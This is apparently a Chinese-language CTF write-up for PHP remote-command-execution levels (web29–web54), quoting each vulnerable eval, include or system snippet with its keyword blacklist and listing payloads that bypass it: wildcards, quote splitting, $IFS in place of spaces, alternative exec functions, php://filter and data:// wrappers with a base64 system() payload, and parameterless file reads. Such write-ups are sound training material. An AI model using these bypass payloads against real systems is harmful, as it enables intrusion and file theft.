web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
题目过滤了flag,相当于什么也没过滤,姿势就有很多了
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了system, 还可以有很多函数去替代
system()
passthru() # passthru — 执行外部程序并且显示原始输出
exec() # exec — 执行一个外部程序
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
**这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示**
?c=echo passthru("cat f*");
?c=echo `cat f*`;
c=echo exec('nl fla?????');
或者
?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了php,cat ,还有空格,
cat 被过滤可替换
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
空格可替换
$IFS $IFS$9 ${IFS}
> < <> 重定向符
%09(需要php环境)
{cat,flag.php} //用逗号实现了空格功能
%20
?c=echo(`vi%09f*`);
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
多过滤了反引号,echo,和括号
include不需要括号,可以考虑使用,?> 也可以替代分号 ;
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33~36
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
这个直接打穿
web37
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
可以用data伪协议
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
多过滤了PHP,可以用编码绕过或者短标签
c=data://text/plain,<?=%20system("tac%20fl*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
拼接一个 .php
data://text/plain, 相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
过滤了$ 和 引号,无法使用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数。
无参数读文件
c=readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a,还可以用%26以及||
c=tac%20f*;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
多过滤了cat ,和分号;
c=tac%20f*||
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
同上,
c=tac%20f*||
c= nl%20f*||
c= vi fl*||
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
空格被过滤,可以用 $IFS$9 %09 代替
c=tac%09fl*||
c=tac$IFS$9fl*||
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
数字也被过滤,还可以试其他的方法过空格
c=nl<>fl''ag.php||
c=vi<>fl''ag.php||
c=sort<>fl''ag.php||
web47–51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
过滤了一些函数,问题不大,上面的方法同样适用
web52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\
这里增加过滤了 < > , 可以 ${IFS} 来绕过空格
c=ls|| 看见有一个flag.php
c=nl${IFS}fl?g.php|| 查看发现$flag="flag_here";
flag不在这里,去根目录看看
c=ls${IFS}/|| 有个flag目录
c=nl${IFS}/fl?g|| 直接查看得到flag
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
一样的直接写
c=nl${IFS}fl?g.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
这些过滤可以用单引号绕过,直接写
c=ls 有一个flag.php
c=cp${IFS}fl??.???${IFS}m.txt 把flag文件复制出来
直接查看m.txt